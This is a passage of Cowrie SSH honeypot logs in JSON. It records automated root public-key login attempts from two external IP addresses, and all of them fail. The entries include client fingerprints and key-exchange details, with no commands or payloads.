failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.542907Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:0a:28:b4:35:e6:2c:6f:40:f5:3a:4b:9f:59:dc:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+B9RyISIIHiQzA4PoCDNLpOKGcslaCGqx9qKd42lz8Kl4bFCtD15B0nIA3fkWl9R84US2Oe8NSKo4wYGt63RWVZJ8fgqlmC2t3WGS52gcjNc9QALvGxFvS27JeUJhiYEMIpe2dICpCfb9w9vOPQ/ejSea+aEvoGXFCri+o4fU+tfCNWuA+8kA1gfaJNdoeG+8FLana1mghLSA+aQt+E764ifXNdZnGNF3CTsMIZuM3xOJbwNIyZi+r7SGOZ+sOqVwOTLIlHCYLbMyJC4XGBeuHxa62gZHRXX12glXsTRjxKwpQLGM0eD+r2jBsXo2RS8+LoxQNsUT8EAlNWUfGyFk3PvPE7YxXsxBZtN+8wRP5pW+HQINHBCj9t2ek04KY9OUIc3ii1Qh5JQInebpDwBV65k8koyF1RYoaey3SlXmUMyQIm2onILnhLCapzzgprPnZMArX0IID69xRzFCrBJ+s4XSw3Qc5Nk/Q+KJ/3Yv6YOuuTHM6l+hnGX8koWb+pgLlZtathZA7zt9ip2pm8x4ZQV2hU7eJz/Ijaj9zHvXi1gkN8aL9GZidp/pHEXab86azFXdOEubHSQxMpmDoIINaljGCzfVKsXeg5LQZ37fyI3yiq4XM1H5+fzF7E3qRN43/jICYPWwRNs+IUyxBaXHu2mZ1P92G+Fy0637WGh/2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:0a:28:b4:35:e6:2c:6f:40:f5:3a:4b:9f:59:dc:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.630115Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:0a:28:b4:35:e6:2c:6f:40:f5:3a:4b:9f:59:dc:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+B9RyISIIHiQzA4PoCDNLpOKGcslaCGqx9qKd42lz8Kl4bFCtD15B0nIA3fkWl9R84US2Oe8NSKo4wYGt63RWVZJ8fgqlmC2t3WGS52gcjNc9QALvGxFvS27JeUJhiYEMIpe2dICpCfb9w9vOPQ/ejSea+aEvoGXFCri+o4fU+tfCNWuA+8kA1gfaJNdoeG+8FLana1mghLSA+aQt+E764ifXNdZnGNF3CTsMIZuM3xOJbwNIyZi+r7SGOZ+sOqVwOTLIlHCYLbMyJC4XGBeuHxa62gZHRXX12glXsTRjxKwpQLGM0eD+r2jBsXo2RS8+LoxQNsUT8EAlNWUfGyFk3PvPE7YxXsxBZtN+8wRP5pW+HQINHBCj9t2ek04KY9OUIc3ii1Qh5JQInebpDwBV65k8koyF1RYoaey3SlXmUMyQIm2onILnhLCapzzgprPnZMArX0IID69xRzFCrBJ+s4XSw3Qc5Nk/Q+KJ/3Yv6YOuuTHM6l+hnGX8koWb+pgLlZtathZA7zt9ip2pm8x4ZQV2hU7eJz/Ijaj9zHvXi1gkN8aL9GZidp/pHEXab86azFXdOEubHSQxMpmDoIINaljGCzfVKsXeg5LQZ37fyI3yiq4XM1H5+fzF7E3qRN43/jICYPWwRNs+IUyxBaXHu2mZ1P92G+Fy0637WGh/2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.634125Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:0c:90:ff:53:24:b2:75:a1:23:d7:52:9e:96:94:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVLGAMRABoVbUuN+kqdcsh/J6mwvRnmWIo3VqkpjYqIoL/tbCehQhlHHqvMugQtCfNLXyZG/SSC7KLD11+2Ac8fFdQ32nBDVoh85KghNY9jxJ5DvassBhNMVPYGkNg9rbxueGXdabHz6GaYn2QAVX1I2wN12DTbBc5OF6s+VKa+iEiEkH77gp80mW+axdbzEXwtiLXVZu1JZJCyM6AVajU3cAhrrz3zndzhSVYXPCfDFDqzfHuS7L0WdYwbnP+PBBWfIKXzVvWvMSwQBBKkdSN0QG1Ugrj/BukTrrmLNhOofIhhSUXb1EnG+T8dV2ePksmvVTyK3t5JlVncYx1gflcKgKTaSlxS5pBCzcfqnB3Fu6NlO4nW/HFP+2w6k7TqxTo34K5/6lpbT8kLtGKUO6gNGu/Vipvb11jVIKB699TZxdnYR2ZEfMUfpVmkzliscI3oXooILaeY2suJhPxmlGz6CxSN+4cqZ14/bimZSN5Mvig86p1w3KMq6GOgNyxcKUhhmVEAxGo2IUmRbNEnLRQmuk3Si+TCLC+Ujsjc+icUB2P8QjhzKs0f7C0DyXMUljUpCfAGIrzQ8U6R1ToCbyNVyDbVgI/NG+jth5SR7TueSwHT/5OwViUKAxIZxXBax2d0a1rGgzPGIa4yLDZnWlTJk1NHDeGxdlzXvpo5byy7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:0c:90:ff:53:24:b2:75:a1:23:d7:52:9e:96:94:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.721689Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:0c:90:ff:53:24:b2:75:a1:23:d7:52:9e:96:94:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVLGAMRABoVbUuN+kqdcsh/J6mwvRnmWIo3VqkpjYqIoL/tbCehQhlHHqvMugQtCfNLXyZG/SSC7KLD11+2Ac8fFdQ32nBDVoh85KghNY9jxJ5DvassBhNMVPYGkNg9rbxueGXdabHz6GaYn2QAVX1I2wN12DTbBc5OF6s+VKa+iEiEkH77gp80mW+axdbzEXwtiLXVZu1JZJCyM6AVajU3cAhrrz3zndzhSVYXPCfDFDqzfHuS7L0WdYwbnP+PBBWfIKXzVvWvMSwQBBKkdSN0QG1Ugrj/BukTrrmLNhOofIhhSUXb1EnG+T8dV2ePksmvVTyK3t5JlVncYx1gflcKgKTaSlxS5pBCzcfqnB3Fu6NlO4nW/HFP+2w6k7TqxTo34K5/6lpbT8kLtGKUO6gNGu/Vipvb11jVIKB699TZxdnYR2ZEfMUfpVmkzliscI3oXooILaeY2suJhPxmlGz6CxSN+4cqZ14/bimZSN5Mvig86p1w3KMq6GOgNyxcKUhhmVEAxGo2IUmRbNEnLRQmuk3Si+TCLC+Ujsjc+icUB2P8QjhzKs0f7C0DyXMUljUpCfAGIrzQ8U6R1ToCbyNVyDbVgI/NG+jth5SR7TueSwHT/5OwViUKAxIZxXBax2d0a1rGgzPGIa4yLDZnWlTJk1NHDeGxdlzXvpo5byy7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.725840Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:71:58:ff:17:e7:17:7c:7e:5d:9b:42:96:32:0b:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzsOaqN6I+y4bKttwps9j+Np8pUV08p+hSoUjyJ+jYxxjrpNVVPj+om6/In4fdRjI+uwjQzm4kKT7MC4+1rnb61DioNXd7tVNe3DKzfMIrBUHuGuIvM0o66V8vZgecLKKjUQF1dybum/lo/hI6KXPyJU+rsIglDu2UVrOMi5Ar5Pqr/+Fxlk0WjiasWRVlJg974MGo+EW8zoE2agwdoYTWn8SVwkhmzBSIQ8jXUY/BNp5r2mTSwJZovJjmpVQV4KcVB08BXdrr5edLOuWgAr6ulRw0jVcx0PpVmU+Xuh7FxzMfSBHHfA2qFGhMYvXGmsk1gSiCbT2Td72KKUgEdbAzWW5C+2t9D6A72XOthrIeSwtLaLycGFa5PLm0Ve/eQMRa27dnen0bDNF2aEiACv0MOZk6Ywxl1HQopzwf6XmdYP9eTJOCypqeuBCkfY9RUMHGh9KQm0R6ac3dYN7iOmkN0g+1hFElCNofjRXRNHWcVxxx1ikAXmWbbQiMdOq59vTiIEAocqg+I5jlzIPc1e80f7yWZf5t27RdgyR08ybrZEsYqb+cM12Ytb8vpysSOd0IYal1O8CMukoDPj+5RK15nOUy4131K6epxyAdKUIxptrhsCrxyzVjpQ7c1HVqYvu0xpGqYCMJy76R1zGSQbATIZ4Tj+ROmq0TJa1VFKrC3w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint fe:71:58:ff:17:e7:17:7c:7e:5d:9b:42:96:32:0b:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.817513Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"fe:71:58:ff:17:e7:17:7c:7e:5d:9b:42:96:32:0b:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDzsOaqN6I+y4bKttwps9j+Np8pUV08p+hSoUjyJ+jYxxjrpNVVPj+om6/In4fdRjI+uwjQzm4kKT7MC4+1rnb61DioNXd7tVNe3DKzfMIrBUHuGuIvM0o66V8vZgecLKKjUQF1dybum/lo/hI6KXPyJU+rsIglDu2UVrOMi5Ar5Pqr/+Fxlk0WjiasWRVlJg974MGo+EW8zoE2agwdoYTWn8SVwkhmzBSIQ8jXUY/BNp5r2mTSwJZovJjmpVQV4KcVB08BXdrr5edLOuWgAr6ulRw0jVcx0PpVmU+Xuh7FxzMfSBHHfA2qFGhMYvXGmsk1gSiCbT2Td72KKUgEdbAzWW5C+2t9D6A72XOthrIeSwtLaLycGFa5PLm0Ve/eQMRa27dnen0bDNF2aEiACv0MOZk6Ywxl1HQopzwf6XmdYP9eTJOCypqeuBCkfY9RUMHGh9KQm0R6ac3dYN7iOmkN0g+1hFElCNofjRXRNHWcVxxx1ikAXmWbbQiMdOq59vTiIEAocqg+I5jlzIPc1e80f7yWZf5t27RdgyR08ybrZEsYqb+cM12Ytb8vpysSOd0IYal1O8CMukoDPj+5RK15nOUy4131K6epxyAdKUIxptrhsCrxyzVjpQ7c1HVqYvu0xpGqYCMJy76R1zGSQbATIZ4Tj+ROmq0TJa1VFKrC3w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.821423Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:12.910113Z","src_ip":"92.246.87.54","session":"e27b54a5b1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"199.71.214.31","src_port":36024,"dst_ip":"10.17.0.5","dst_port":22,"session":"86deb42b4ac5","protocol":"ssh","message":"New connection: 199.71.214.31:36024 (10.17.0.5:22) [session: 86deb42b4ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.277039Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.281593Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.325538Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:ec:4b:eb:67:14:08:88:44:61:de:3a:f3:d4:f4:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9gZs5nJRY2jtsWLd5pHiPIu9tRlo9It2TeejbCY74UoTVtUVFihtM/5cn+R6jwAOThSM4xWFOL4GaWWDZWHZ3bp0dsf4RV5H9P0Xf4dTtYUu0gxfhdkpXDFNFo/Te8zknK67rK1hptZMqI0JKZTmO5ACL6FWZFdQ7hOK26eqb2xwZaQO/9zk/aibr2OyKrseAu/6t3NUevTK0DFVD0mNsVdXDMOqa3CuHoOFFOwsa6reEB7b1ovwWBD+QFIynv5nlBryOfQlxx4GnHPlClDjwu6ligR9zFo6pTiR6wGlb4edMK63wnDAG3gfju5TvROleT1tESpVF1k5M2NWhUK1p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:ec:4b:eb:67:14:08:88:44:61:de:3a:f3:d4:f4:fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.522876Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:ec:4b:eb:67:14:08:88:44:61:de:3a:f3:d4:f4:fd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9gZs5nJRY2jtsWLd5pHiPIu9tRlo9It2TeejbCY74UoTVtUVFihtM/5cn+R6jwAOThSM4xWFOL4GaWWDZWHZ3bp0dsf4RV5H9P0Xf4dTtYUu0gxfhdkpXDFNFo/Te8zknK67rK1hptZMqI0JKZTmO5ACL6FWZFdQ7hOK26eqb2xwZaQO/9zk/aibr2OyKrseAu/6t3NUevTK0DFVD0mNsVdXDMOqa3CuHoOFFOwsa6reEB7b1ovwWBD+QFIynv5nlBryOfQlxx4GnHPlClDjwu6ligR9zFo6pTiR6wGlb4edMK63wnDAG3gfju5TvROleT1tESpVF1k5M2NWhUK1p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.526929Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:7d:83:d9:bd:f8:e5:78:d2:96:54:99:43:33:5f:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTSx6EDHLT/xz/+Kmu3lNt25FVu2y1u9r3JdJAyYF6fYREHkw/adSP8APgZWu3MSmLDUVjgVeOmMTQXmJzAi03pzv4PrhOuygX1UKvSXr2gfuFbMmC3oPZMmAEXpLRO9SuRrQxA4Q0F8ECWUghoT+kMFJgPRA/kYfP/xSqPeY30sTC70ztFYxQl8U6FB/LZcboxwyAqFA8mSyaIf90tlhg5/zeUfVyCtS/L1SIUrymVFs7XDrA1Mq/SEYH2e+gsCb+eHWlpkqnOE+JqyDDBsf84AiPIUsyr1wIWjPZTMQCEyJsGiLiiRrKBU0d2OIBhBl77Q34nl5z7M6oBwFBvV6jjbNxSDfn2f5ZdtEl6iVlo0HJhfMq6ypiuiHfhCDjs1Mfgxz5MLwq+liKmgqsCIyuUAvTSdDUO1sJmdCTQAv2kVcaaaPOzzDA/PjNzIpTDlj3RfXMWV4OKtJK0r/KSdnQsvhjqL9r95GV6t4rhsYcC5phwbJ5CCJ08GY9YylbFj5Rj5hmYV/l+WkrB2uRgmgBLsXV58/uc+p18tEVvFgagUBm3TAq1i5V03xoqgdhwk2UfIXRm1Gt7m+/pG7VOEW1JnHwbQKfaJLvI4qbq8MTAIAqfG2/LFlTeFbBpkAtiL6NNO68RbLRXX9j4ddPgANDG6xXAdg/upckL33P0Qjn5Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:7d:83:d9:bd:f8:e5:78:d2:96:54:99:43:33:5f:27","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.574166Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:7d:83:d9:bd:f8:e5:78:d2:96:54:99:43:33:5f:27","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDTSx6EDHLT/xz/+Kmu3lNt25FVu2y1u9r3JdJAyYF6fYREHkw/adSP8APgZWu3MSmLDUVjgVeOmMTQXmJzAi03pzv4PrhOuygX1UKvSXr2gfuFbMmC3oPZMmAEXpLRO9SuRrQxA4Q0F8ECWUghoT+kMFJgPRA/kYfP/xSqPeY30sTC70ztFYxQl8U6FB/LZcboxwyAqFA8mSyaIf90tlhg5/zeUfVyCtS/L1SIUrymVFs7XDrA1Mq/SEYH2e+gsCb+eHWlpkqnOE+JqyDDBsf84AiPIUsyr1wIWjPZTMQCEyJsGiLiiRrKBU0d2OIBhBl77Q34nl5z7M6oBwFBvV6jjbNxSDfn2f5ZdtEl6iVlo0HJhfMq6ypiuiHfhCDjs1Mfgxz5MLwq+liKmgqsCIyuUAvTSdDUO1sJmdCTQAv2kVcaaaPOzzDA/PjNzIpTDlj3RfXMWV4OKtJK0r/KSdnQsvhjqL9r95GV6t4rhsYcC5phwbJ5CCJ08GY9YylbFj5Rj5hmYV/l+WkrB2uRgmgBLsXV58/uc+p18tEVvFgagUBm3TAq1i5V03xoqgdhwk2UfIXRm1Gt7m+/pG7VOEW1JnHwbQKfaJLvI4qbq8MTAIAqfG2/LFlTeFbBpkAtiL6NNO68RbLRXX9j4ddPgANDG6xXAdg/upckL33P0Qjn5Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.579204Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:0a:28:b4:35:e6:2c:6f:40:f5:3a:4b:9f:59:dc:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+B9RyISIIHiQzA4PoCDNLpOKGcslaCGqx9qKd42lz8Kl4bFCtD15B0nIA3fkWl9R84US2Oe8NSKo4wYGt63RWVZJ8fgqlmC2t3WGS52gcjNc9QALvGxFvS27JeUJhiYEMIpe2dICpCfb9w9vOPQ/ejSea+aEvoGXFCri+o4fU+tfCNWuA+8kA1gfaJNdoeG+8FLana1mghLSA+aQt+E764ifXNdZnGNF3CTsMIZuM3xOJbwNIyZi+r7SGOZ+sOqVwOTLIlHCYLbMyJC4XGBeuHxa62gZHRXX12glXsTRjxKwpQLGM0eD+r2jBsXo2RS8+LoxQNsUT8EAlNWUfGyFk3PvPE7YxXsxBZtN+8wRP5pW+HQINHBCj9t2ek04KY9OUIc3ii1Qh5JQInebpDwBV65k8koyF1RYoaey3SlXmUMyQIm2onILnhLCapzzgprPnZMArX0IID69xRzFCrBJ+s4XSw3Qc5Nk/Q+KJ/3Yv6YOuuTHM6l+hnGX8koWb+pgLlZtathZA7zt9ip2pm8x4ZQV2hU7eJz/Ijaj9zHvXi1gkN8aL9GZidp/pHEXab86azFXdOEubHSQxMpmDoIINaljGCzfVKsXeg5LQZ37fyI3yiq4XM1H5+fzF7E3qRN43/jICYPWwRNs+IUyxBaXHu2mZ1P92G+Fy0637WGh/2Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:0a:28:b4:35:e6:2c:6f:40:f5:3a:4b:9f:59:dc:5b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.628643Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"61:0a:28:b4:35:e6:2c:6f:40:f5:3a:4b:9f:59:dc:5b","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+B9RyISIIHiQzA4PoCDNLpOKGcslaCGqx9qKd42lz8Kl4bFCtD15B0nIA3fkWl9R84US2Oe8NSKo4wYGt63RWVZJ8fgqlmC2t3WGS52gcjNc9QALvGxFvS27JeUJhiYEMIpe2dICpCfb9w9vOPQ/ejSea+aEvoGXFCri+o4fU+tfCNWuA+8kA1gfaJNdoeG+8FLana1mghLSA+aQt+E764ifXNdZnGNF3CTsMIZuM3xOJbwNIyZi+r7SGOZ+sOqVwOTLIlHCYLbMyJC4XGBeuHxa62gZHRXX12glXsTRjxKwpQLGM0eD+r2jBsXo2RS8+LoxQNsUT8EAlNWUfGyFk3PvPE7YxXsxBZtN+8wRP5pW+HQINHBCj9t2ek04KY9OUIc3ii1Qh5JQInebpDwBV65k8koyF1RYoaey3SlXmUMyQIm2onILnhLCapzzgprPnZMArX0IID69xRzFCrBJ+s4XSw3Qc5Nk/Q+KJ/3Yv6YOuuTHM6l+hnGX8koWb+pgLlZtathZA7zt9ip2pm8x4ZQV2hU7eJz/Ijaj9zHvXi1gkN8aL9GZidp/pHEXab86azFXdOEubHSQxMpmDoIINaljGCzfVKsXeg5LQZ37fyI3yiq4XM1H5+fzF7E3qRN43/jICYPWwRNs+IUyxBaXHu2mZ1P92G+Fy0637WGh/2Q==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.632787Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"85:0c:90:ff:53:24:b2:75:a1:23:d7:52:9e:96:94:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVLGAMRABoVbUuN+kqdcsh/J6mwvRnmWIo3VqkpjYqIoL/tbCehQhlHHqvMugQtCfNLXyZG/SSC7KLD11+2Ac8fFdQ32nBDVoh85KghNY9jxJ5DvassBhNMVPYGkNg9rbxueGXdabHz6GaYn2QAVX1I2wN12DTbBc5OF6s+VKa+iEiEkH77gp80mW+axdbzEXwtiLXVZu1JZJCyM6AVajU3cAhrrz3zndzhSVYXPCfDFDqzfHuS7L0WdYwbnP+PBBWfIKXzVvWvMSwQBBKkdSN0QG1Ugrj/BukTrrmLNhOofIhhSUXb1EnG+T8dV2ePksmvVTyK3t5JlVncYx1gflcKgKTaSlxS5pBCzcfqnB3Fu6NlO4nW/HFP+2w6k7TqxTo34K5/6lpbT8kLtGKUO6gNGu/Vipvb11jVIKB699TZxdnYR2ZEfMUfpVmkzliscI3oXooILaeY2suJhPxmlGz6CxSN+4cqZ14/bimZSN5Mvig86p1w3KMq6GOgNyxcKUhhmVEAxGo2IUmRbNEnLRQmuk3Si+TCLC+Ujsjc+icUB2P8QjhzKs0f7C0DyXMUljUpCfAGIrzQ8U6R1ToCbyNVyDbVgI/NG+jth5SR7TueSwHT/5OwViUKAxIZxXBax2d0a1rGgzPGIa4yLDZnWlTJk1NHDeGxdlzXvpo5byy7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 85:0c:90:ff:53:24:b2:75:a1:23:d7:52:9e:96:94:13","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.681553Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"85:0c:90:ff:53:24:b2:75:a1:23:d7:52:9e:96:94:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDVLGAMRABoVbUuN+kqdcsh/J6mwvRnmWIo3VqkpjYqIoL/tbCehQhlHHqvMugQtCfNLXyZG/SSC7KLD11+2Ac8fFdQ32nBDVoh85KghNY9jxJ5DvassBhNMVPYGkNg9rbxueGXdabHz6GaYn2QAVX1I2wN12DTbBc5OF6s+VKa+iEiEkH77gp80mW+axdbzEXwtiLXVZu1JZJCyM6AVajU3cAhrrz3zndzhSVYXPCfDFDqzfHuS7L0WdYwbnP+PBBWfIKXzVvWvMSwQBBKkdSN0QG1Ugrj/BukTrrmLNhOofIhhSUXb1EnG+T8dV2ePksmvVTyK3t5JlVncYx1gflcKgKTaSlxS5pBCzcfqnB3Fu6NlO4nW/HFP+2w6k7TqxTo34K5/6lpbT8kLtGKUO6gNGu/Vipvb11jVIKB699TZxdnYR2ZEfMUfpVmkzliscI3oXooILaeY2suJhPxmlGz6CxSN+4cqZ14/bimZSN5Mvig86p1w3KMq6GOgNyxcKUhhmVEAxGo2IUmRbNEnLRQmuk3Si+TCLC+Ujsjc+icUB2P8QjhzKs0f7C0DyXMUljUpCfAGIrzQ8U6R1ToCbyNVyDbVgI/NG+jth5SR7TueSwHT/5OwViUKAxIZxXBax2d0a1rGgzPGIa4yLDZnWlTJk1NHDeGxdlzXvpo5byy7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:11:24.687185Z","src_ip":"199.71.214.31","session":"86deb42b4ac5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"fe:71:58:ff:17:e7:17:7c:7e:5d:9b:42:96:32:0b:cf","key":"ssh-rsa 